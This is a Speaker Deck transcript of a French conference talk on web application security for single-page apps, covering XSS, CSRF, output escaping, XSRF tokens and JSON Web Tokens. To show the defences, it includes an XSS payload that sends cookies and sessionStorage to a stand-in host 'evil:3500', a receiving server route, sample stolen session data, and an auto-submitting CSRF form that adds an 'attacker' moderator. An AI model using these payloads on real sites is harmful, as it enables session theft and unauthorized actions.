Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
Ma SPA n’est pas sécurisée
Search
Philippe CHARRIERE
October 17, 2014
Programming
570
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
Ma SPA n’est pas sécurisée
pour BDX.IO
Philippe CHARRIERE
October 17, 2014
More Decks by Philippe CHARRIERE
See All by Philippe CHARRIERE
The Plan v3 pour BDX.io
k33g
1
210
Le Plan
k33g
0
220
Prog Fonctionnelle 🐑
k33g
1
400
Apéro fonctionnel
k33g
0
130
Scala Facile
k33g
0
300
Golo, the Tiny Language that gives super powers
k33g
0
150
Golo, the Tiny Language that gives super powers
k33g
0
310
Apéro Fonctionnel
k33g
0
280
Programmation fonctionnelle 🐑 en JS
k33g
2
300
Other Decks in Programming
See All in Programming
App Storeの外へ──日本のiOSサイドローディング入門 for iOSDC Japan 2026
yuukiw00w
0
190
DroidKaigi 2026 「個人開発という実験場: Android エンジニアが手にする4つの自由」
slashnephy
0
230
XP祭りでしか伝わらないフリップネタ #xpjug
murabayashi
0
150
[DroidKaigi 2026] Bring your own phones to Gradle Managed Devices
f2lk
0
120
更なる可用性を求めて、5年間運用したKotlinのアプリケーションをGoでリプレイスする話
ken_tunc
0
140
iOS開発×AI駆動開発 〜最近使って便利だったスキルの話〜
nogu66
0
150
The Good Stuff, Not the Slop: Engineering High-Quality Android Apps with Modern AI Tooling
danybony
1
240
Jetpack Compose メカニズム
skydoves
0
140
ゲームコントローラやキーボードのファームウェアをSwiftで書く
kishikawakatsumi
1
230
thread_parallel_with_free-threaded_Python_and_NumPy.pdf
riku_sakamoto
0
320
iOSDC2026登壇資料.pdf
riofujimon
0
120
新人はどこまで自力でやり、どこからAIに頼るべきか/エンジニア育成に向き合う_先輩たちの悩みと知見共有会
toppan_digital_dev
1
610
Featured
See All Featured
Heart Work Chapter 1 - Part 1
lfama
PRO
9
36k
Fireside Chat
paigeccino
43
4k
The Power of CSS Pseudo Elements
geoffreycrofte
82
6.6k
Claude Code のすすめ
schroneko
67
230k
Principles of Awesome APIs and How to Build Them.
keavy
128
18k
Fantastic passwords and where to find them - at NoRuKo
philnash
52
3.8k
Balancing Empowerment & Direction
lara
6
1.3k
Lessons Learnt from Crawling 1000+ Websites
charlesmeaden
PRO
1
1.6k
Fashionably flexible responsive web design (full day workshop)
malarkey
408
67k
How to build an LLM SEO readiness audit: a practical framework
nmsamuel
1
900
Side Projects
sachag
456
43k
Design in an AI World
tapps
1
310
Transcript
Oh! purée! Ma SPA n’est pas sécurisée @k33g_org
Un peu d’histoire
1995 + 10 Création de Javascript 1997 <iframe> IE 3
(4?) 1996 Netscape Navigator 2 avec le support JS 1998 Rhino Engine - Java 1999 ActiveX XMLHTTP IE5 1998 Mozilla Foundation
1995 + 10 Création de Javascript 1997 <iframe> IE 3
(4?) 1996 Netscape Navigator 2 avec le support JS 1998 Rhino Engine - Java 1999 ActiveX XMLHTTP IE5 1998 Mozilla Foundation
1995 + 10 Création de Javascript 1997 <iframe> IE 3
(4?) 1996 Netscape Navigator 2 avec le support JS 1998 Rhino Engine - Java 1999 ActiveX XMLHTTP IE5 1998 Mozilla Foundation
2000 XMLHttpRequest > Gecko 2004 GMail 2004-2005 XMLHttpRequest = Standard
“de fait” 2005 Google Map 2009 Node.js 2008 Google V8 engine
Et pendant ce temps …
Architecture Web Traditionnelle Navigateur Serveur App° Base de données DOM
+ JS View Controller Model SGBDR
2000 XMLHttpRequest > Gecko 2004 GMail 2004-2005 XMLHttpRequest = Standard
“de fait” 2005 Google Map 2009 Node.js 2008 Google V8 engine
2000 XMLHttpRequest > Gecko 2004 GMail 2004-2005 XMLHttpRequest = Standard
“de fait” 2005 Google Map 2009 Node.js 2008 Google V8 engine
Avril 2010 - Steve Jobs “tue” Flash
>> Pléthore de frameworks (javascript) MV*
Architecture (JS) Web Moderne “Serveur d’API” Navigateur Base de données
DOM + JS View Controller Model SGBDR, NoSQL REST APIs
Navigateur DOM + JS Serveur App° View Controller Model Navigateur
DOM + JS View Controller Model “Serveur d’API” REST APIs Avant HTML JSON Après
Votre navigateur est devenu intelligent
… Plus de failles de sécurité
XSS attacks
Injection de code malicieux dans votre application
<script id="tpl" type="tpl"> <% _.each(humans, function(human) { %> <li><%= human.firstName
%> <%= human.lastName %></li> <% }); %> </script>
var HumansView = Backbone.View.extend({ el:"ul", initialize: function() { this.listenTo(this.collection,'all',this.render); },
tpl:_.template($("#tpl").html()), render: function() { this.$el.html(this.tpl({humans:this.collection.toJSON()})); return this; } }); var humans = new Humans(); humansView = new HumansView({collection:humans}); setInterval(function () { humans.fetch(); }, 500);
Méchant hacker: côté serveur app.get("/hacked", function(req, res) { var data
= {cookie:req.param("a"), session:req.param("b")}; db.insert(data, function (err, newDoc) { res.statusCode = 200; console.log(data) res.send({message:";)"}); }); });
<script> var i = new Image(); i.src = "http://evil:3500/hacked/?a=" +
document.cookie + "&b=" + JSON.stringify(sessionStorage); </script> Affiche moi une image ;)
None
{"cookie":"mp_01eb2b950ae09a5fdb15a98dcc5ff20e_mixpa nel={\"distinct_id\": \"146038c6d8a44e-02e41af25-1f114552- fa000-146038c6d8d20b\",\"$initial_referrer\": \"$direct\",\"$initial_referring_domain\": \"$direct \"}; __atuvc=1|27; _ga=GA1.1.683483437.1400928194","session":"{\"userNa me\":\"k33g\",\"userSessionId\":
\"02941660-4b94-11e4-8ef2-8dc92b3e8e97\"} ","_id":"z67TEmfxLjSL84UH"}
Mais il est aussi possible de compromettre le fonctionnement de
l’application
Solution?
To sanitize (assainir)
< ➙ < > ➙ > & ➙ & "
➙ " ' ➙ '
<script id="tpl" type="tpl"> <% _.each(humans, function(human) { %> <li><%- human.firstName
%> <%- human.lastName %></li> <% }); %> </script>
Ça ne sert à rien de le faire au moment
du $post
XSS safe
> Faites le aussi côté serveur
XSRF attacks Cross-site request forgery
Votre application web est trop confiante!
Imaginez 1 site où l’admin peut ajouter des modérateurs …
qui eux- mêmes ont peuvent faire des choses
app.post("/admin/moderators/add/", function(req, res) { if (req.session.applicationUser) { if(req.session.applicationUser.authenticated && req.session.applicationUser.canAddModerator)
{ moderators.push(req.body.username); } else { res.json(401) } } else { res.json(403) } });
<!DOCTYPE html> <html> <head> <title>Hacked</title> </head> <body> <p>Hello! You've been
hacked :)))</p> <script> var form = document.createElement('form'); var input = document.createElement('input'); form.style.display = 'none'; form.setAttribute('method', 'POST'); form.setAttribute('action', 'http://votreapp/admin/moderators/add/'); input.name = 'username'; input.value = 'attacker'; form.appendChild(input); document.getElementsByTagName('body')[0].appendChild(form); form.submit(); </script> </body> http://www.k33g.org/ipad.html
None
None
Vous avez un nouveau modérateur … inconnu!
Solution(s)?
XSRF tokens
XSRF token: aléatoire, “imprévisible” inclus dans les requêtes associé à
une unique session
1. l’utilisateur s’authentifie 2. génération d’un token unique (côté serveur)
3. associé à la session utilisateur 4. embarqué dans la réponse http 5. “inscrit” dans la page 6. transmis à chaque requête pour vérification
app.post("/admin/moderators/add/", function(req, res) { if (req.session.applicationUser) { if(req.session.applicationUser.authenticated && req.session.applicationUser.canAddModerator)
{ moderators.push(req.body.username); //… app.post("/admin/moderators/add/", function(req, res) { if (req.session.applicationUser) { if(req.session.applicationUser.authenticated && req.session.applicationUser.canAddModerator && req.session.applicationUser.token==req.body.token) { req.session.applicationUser.token = uuid.v1(); 0-AVANT 1-Maintenant au login Génération d’un token côté serveur … $.post("/login", {name:"bob",pwd:"***"}) .done(function(data) { $("#token").val(data.token) }); 2-Récupération du token côté page <form action="/admin/moderators/add/" method="POST"> <input type="text" name="username"> <input id="token" type="text" name="token"> <input type="submit" value="Add"> </form> 3-Envoyer le token quand on “POST” 4-vérifier le token (côté serveur) … associé à la session utilisateur
Json Web Tokens
Même principe que les XSRF tokens, mais sans session
app.post("/login", function(req, res) { var user = req.body; if (!(user.name=="bob"
&& user.pwd=="bob")) { res.send(401,"go away!"); return; } var applicationUser = { name: user.name, authenticated: true, canAddModerator: true } // on envoie les informations à l'intérieur du token var token = jwt.sign( applicationUser, "secret", { expiresInMinutes: 60*5 }); res.send({ token: token }); }); utilisation de jsonwebtoken https://www.npmjs.org/package/jsonwebtoken Génération d’un token côté serveur …
Côté client $.post("/login", {name:"bob",pwd:"***"}) .done(function(data) { window.localStorage.setItem('token', data.token) }); app.get('/api/try',function(req,
res){ var decoded = jwt.decode(req.headers.token, "secret"); if(decoded) { res.json({message:"yesss!"}) } else { res.send(401,"go away!"); return; } }); Vérifier le token côté serveur …
None
None
ça fonctionne très bien avec CORS (Cross-origin resource sharing)
Sur de vieux navigateurs, cela va être plus difficile
Donc XSS attacks XSRF attacks mais aussi JSON hijacking Usurpation
d’identité …
Moralité réfléchissez bien à vos implémentations faites le dès le
début essayez de hacker votre app ne focalisez pas uniquement sur le js
Merci https://github.com/k33g/ma-spa-nest-pas-securisee